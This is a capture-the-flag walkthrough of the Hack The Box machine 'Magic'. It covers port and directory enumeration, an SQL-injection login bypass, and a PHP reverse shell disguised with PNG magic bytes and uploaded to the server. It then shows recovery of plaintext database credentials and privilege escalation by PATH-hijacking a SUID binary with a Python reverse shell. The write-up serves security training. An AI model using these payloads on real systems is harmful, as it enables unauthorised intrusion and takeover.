--- search: exclude: true --- # Magic Writeup ![](img/55.png) ## Introduction : Magic is a Medium Linux box released back in April 2020. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → nmap -vvv -p- 10.10.10.185 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered Discovered open port 22/tcp on 10.10.10.185 Discovered open port 80/tcp on 10.10.10.185 [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → nmap -sCV -p22,80 10.10.10.185 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 15:26 CEST Nmap scan report for 10.10.10.185 Host is up (0.45s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.24 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 so let's investigate it: [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~] → gobuster dir -u http://10.10.10.185 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.185 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/06/24 15:44:14 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 277] /.htpasswd (Status: 403) [Size: 277] /.htaccess (Status: 403) [Size: 277] /.sh_history (Status: 403) [Size: 277] /assets (Status: 301) [Size: 313] [--> http://10.10.10.185/assets/] /images (Status: 301) [Size: 313] [--> http://10.10.10.185/images/] /index.php (Status: 200) [Size: 4050] /server-status (Status: 403) [Size: 277] [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~] → gobuster dir -u http://10.10.10.185/images/ -r -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.185/images/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Follow Redirect: true [+] Timeout: 10s =============================================================== 2021/06/24 15:46:26 Starting gobuster in directory enumeration mode =============================================================== /.sh_history (Status: 403) [Size: 277] /.hta (Status: 403) [Size: 277] /.htaccess (Status: 403) [Size: 277] /.htpasswd (Status: 403) [Size: 277] /uploads (Status: 403) [Size: 277] =============================================================== 2021/06/24 15:47:11 Finished =============================================================== So here we see that there is a directory **/images/uploads/** so it's safe to assume that we will need to upload a malicious file: ![](prg/55_001.png) Now on the first page we see there is a login php page hyperlink at the bottom left, so we're going to intercept the request with burpsuite and see what's up: ![](prg/55_002.png) So we have the following POST request: POST /login.php HTTP/1.1 Host: 10.10.10.185 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://10.10.10.185 Connection: close Referer: http://10.10.10.185/login.php Cookie: PHPSESSID=d08upquemehq9gte4accrged80 Upgrade-Insecure-Requests: 1 username=admin&password;=admin When we send it as it is, we get the following response: ![](prg/55_003.png) Let's try to do a SQL injection: #raw username=' or 1=1#&password;=admin #url encoded (select in burp and do CTRL+U) username='+or+1%3d1%23&password;=admin Use it in the **Proxy** tab in burpsuite, then click Forward. And you will be greeted by the following: ![](prg/55_004.png) Now let's make a malicious png file to upload there. Since we know that this box has php on it we're going to make a simple php reverse shell: [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → vim rev.php [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → cat rev.php <****?php exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'"); ?****> [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → sudo apt install exiftool -y [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → wget https://blog.nowhere.moe/assets/img/user.png -O rev.png --2021-06-24 16:15:12-- https://blog.nowhere.moe/assets/img/user.png Resolving blog.nowhere.moe (blog.nowhere.moe)... 185.199.108.153, 185.199.109.153, 185.199.111.153, ... Connecting to blog.nowhere.moe (blog.nowhere.moe)|185.199.108.153|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 14891 (15K) [image/png] Saving to: ‘rev.png’ rev.png 100%[=================================================================================================================================================>] 14.54K --.-KB/s in 0.02s 2021-06-24 16:15:14 (816 KB/s) - ‘rev.png’ saved [14891/14891] Now basically we want the magic bytes of that png file (first few bytes of a png image) and then we want to concatenate the magic bytes to our php reverse shell file like so: [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → head -c20 rev.png | xxd 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 01f4 .... [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → head -c10 rev.png | xxd 00000000: 8950 4e47 0d0a 1a0a 0000 .PNG...... Here we grab the first few bytes until the first nullbyte, and save it to another file: [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → head -c72 rev.png | xxd 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 01f4 0000 01f4 0806 0000 00cb d6df ................ 00000020: 8a00 0000 0173 5247 4200 aece 1ce9 0000 .....sRGB....... 00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a... 00000040: 0009 7048 5973 0000 ..pHYs.. [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → head -c72 rev.png > png-magic-bytes.png [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → file png-magic-bytes.png png-magic-bytes.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced So we concatenate them together: [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → cat png-magic-bytes.png rev.php PNG IHDߊsRGBgAMA a pHYs<****?php exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'"); ?****> [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → cat png-magic-bytes.png rev.php > magic.php.png [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → file magic magic: cannot open `magic' (No such file or directory) [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → file magic.php.png magic.php.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced And now we have our reverse php shell with the magic bytes of a png file. So let's upload the image: ![](prg/55_005.png) ![](prg/55_006.png) Now that the image has been uploaded, we attempt to trigger the reverse shell by browsing to it at the **/images/uploads/magic.php.png** path we found earlier: ![](prg/55_007.png) And we get a reverse shell! [ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic] → nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51376 bash: cannot set terminal process group (1135): Inappropriate ioctl for device bash: no job control in this shell www-data@ubuntu:/var/www/Magic/images/uploads$ Now let's upgrade our reverse shell to a fully interactive TTY: www-data@ubuntu:/var/www/Magic/images/uploads$ which python python3 curl wget which python python3 curl wget /usr/bin/python3 /usr/bin/wget www-data@ubuntu:/var/www/Magic/images/uploads$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@ubuntu:/var/www/Magic/images/uploads$ ^Z [1] + 1387803 suspended nc -lvnp 9001 [ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic] → stty raw -echo ; fg [1] + 1387803 continued nc -lvnp 9001 export TERM=screen-256color www-data@ubuntu:/var/www/Magic/images/uploads$ export SHELL=bash www-data@ubuntu:/var/www/Magic/images/uploads$ stty rows 40 columns 225 www-data@ubuntu:/var/www/Magic/images/uploads$ reset And now that we have a fully interactive TTY let's take a look around the web directory: www-data@ubuntu:/var/www/Magic/images/uploads$ cd ~ www-data@ubuntu:/var/www$ ls -lash total 16K 4.0K drwxr-xr-x 4 root root 4.0K Mar 13 2020 . 4.0K drwxr-xr-x 15 root root 4.0K Oct 15 2019 .. 4.0K drwxr-xr-x 4 www-data www-data 4.0K Mar 17 2020 Magic 4.0K drwxr-xr-x 2 root root 4.0K Dec 3 2019 html www-data@ubuntu:/var/www$ cat Magic/db.php5 <****?php class Database { private static $dbName = 'Magic' ; private static $dbHost = 'localhost' ; private static $dbUsername = 'theseus'; private static $dbUserPassword = 'iamkingtheseus'; private static $cont = null; public function __construct() { die('Init function is not allowed'); } public static function connect() { // One connection through whole application if ( null == self::$cont ) { try { self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword); } catch(PDOException $e) { die($e->getMessage()); } } return self::$cont; } public static function disconnect() { self::$cont = null; } } Now here we have potential credentials for a local database with the user **theseus** so let's try to dump the database contents with it: www-data@ubuntu:/var/www$ mysqldump -u theseus Magic -p > /tmp/database.dump Enter password: iamkingtheseus www-data@ubuntu:/var/www$ cat /tmp/database.dump | grep admin INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); And now we have credentials for the user 'theseus' so let's try to use his credentials :: www-data@ubuntu:/var/www$ su theseus Password: theseus@ubuntu:/var/www$ cd ~ theseus@ubuntu:~$ cat user.txt 58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to get the user flag. ## **Part 3 : Getting Root Access** Now in order to privesc to the root user we're going to need to enumerate the box using linpeas.sh: [terminal 1] [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → cp /home/nothing/HTB/obscurity/linpeas.sh . [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... [terminal 2] theseus@ubuntu:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh --2021-06-25 00:53:01-- http://10.10.14.11:9090/linpeas.sh Connecting to 10.10.14.11:9090... connected. HTTP request sent, awaiting response... 200 OK Length: 341863 (334K) [text/x-sh] Saving to: ‘/tmp/peas.sh’ /tmp/peas.sh 100%[====================================================>] 333.85K 171KB/s in 1.9s 2021-06-25 00:53:04 (171 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] theseus@ubuntu:~$ chmod +x /tmp/peas.sh theseus@ubuntu:~$ /tmp/peas.sh ` ![](prg/55_008.png) Let linpeas.sh run a bit, then scrolling through the output we see the following SUID binary: ![](prg/55_009.png) Apparently there is an unknown SUID binary in **/bin/sysinfo** so let's run it to see what it does: theseus@ubuntu:~$ /bin/sysinfo --help ====================Hardware Info==================== H/W path Device Class Description ===================================================== system VMware Virtual Platform /0 bus 440BX Desktop Reference Platform /0/0 memory 86KiB BIOS /0/1 processor AMD EPYC 7401P 24-Core Processor /0/1/0 memory 16KiB L1 cache /0/1/1 memory 16KiB L1 cache /0/1/2 memory 512KiB L2 cache /0/1/3 memory 512KiB L2 cache /0/2 processor AMD EPYC 7401P 24-Core Processor /0/28 memory System Memory /0/28/0 memory 4GiB DIMM DRAM EDO /0/28/1 memory DIMM DRAM [empty] /0/28/2 memory DIMM DRAM [empty] /0/28/3 memory DIMM DRAM [empty] /0/28/4 memory DIMM DRAM [empty] /0/28/5 memory DIMM DRAM [empty] /0/28/6 memory DIMM DRAM [empty] /0/28/7 memory DIMM DRAM [empty] /0/28/8 memory DIMM DRAM [empty] [...] bugs : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass bogomips : 4000.00 TLB size : 2560 4K pages clflush size : 64 cache_alignment : 64 address sizes : 43 bits physical, 48 bits virtual power management: ====================MEM Usage===================== total used free shared buff/cache available Mem: 3.8G 562M 1.8G 3.9M 1.5G 3.0G Swap: 947M 0B 947M theseus@ubuntu:~$ It basically gives a bunch of infos about the system. Now before our shell breaks, let's get our ssh public key onto the box in order to access that user more easily: theseus@ubuntu:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' > ~/.ssh/authorized_keys [ 10.66.66.2/32 ] [ /dev/pts/29 ] [~/HTB/magic] → ssh theseus@10.10.10.185 -i ~/.ssh/mainpc Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 29 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Your Hardware Enablement Stack (HWE) is supported until April 2023. theseus@ubuntu:~$ Let's monitor the processes ran by root using pspy: [terminal 1] [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → cp /home/nothing/HTB/book/pspy64s . [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] → python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... [terminal 2] theseus@ubuntu:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy --2021-06-25 01:02:54-- http://10.10.14.11:9090/pspy64s Connecting to 10.10.14.11:9090... connected. HTTP request sent, awaiting response... 200 OK Length: 1156536 (1.1M) [application/octet-stream] Saving to: ‘/tmp/pspy’ /tmp/pspy 100%[=================================================================================================================================================>] 1.10M 382KB/s in 3.0s 2021-06-25 01:02:58 (382 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536] theseus@ubuntu:~$ chmod +x /tmp/pspy theseus@ubuntu:~$ /tmp/pspy ` ![](prg/55_010.png) Now on another shell we run **sysinfo** on the box and observe what it does from pspy: ![](prg/55_011.png) Now here we see that sysinfo basically executes **lshw** so we should be able to create our own lshw with a reverse python3 shell into it, and we would change the **PATH** variable to make sure our binary file takes priority over the other lshw: theseus@ubuntu:~$ cd /tmp theseus@ubuntu:/tmp$ mkdir nihilist theseus@ubuntu:/tmp$ cd nihilist/ theseus@ubuntu:/tmp/nihilist$ nano lshw theseus@ubuntu:/tmp/nihilist$ cat lshw python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' theseus@ubuntu:/tmp/nihilist$ chmod +x lshw theseus@ubuntu:/tmp/nihilist$ PATH=$PATH:$(pwd) theseus@ubuntu:/tmp/nihilist$ echo $PATH .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/tmp/nihilist Now let's run sysinfo again [terminal 1] theseus@ubuntu:/tmp/nihilist$ sysinfo ====================Hardware Info==================== [terminal 2] [ 10.66.66.2/32 ] [ /dev/pts/35 ] [~/HTB/magic] → nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51382 # id uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus) ca cat /root/root.txt acXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to get a reverse shell as the root user. ## **Conclusion** Here we can see the progress graph : ![](img/55_graph.png)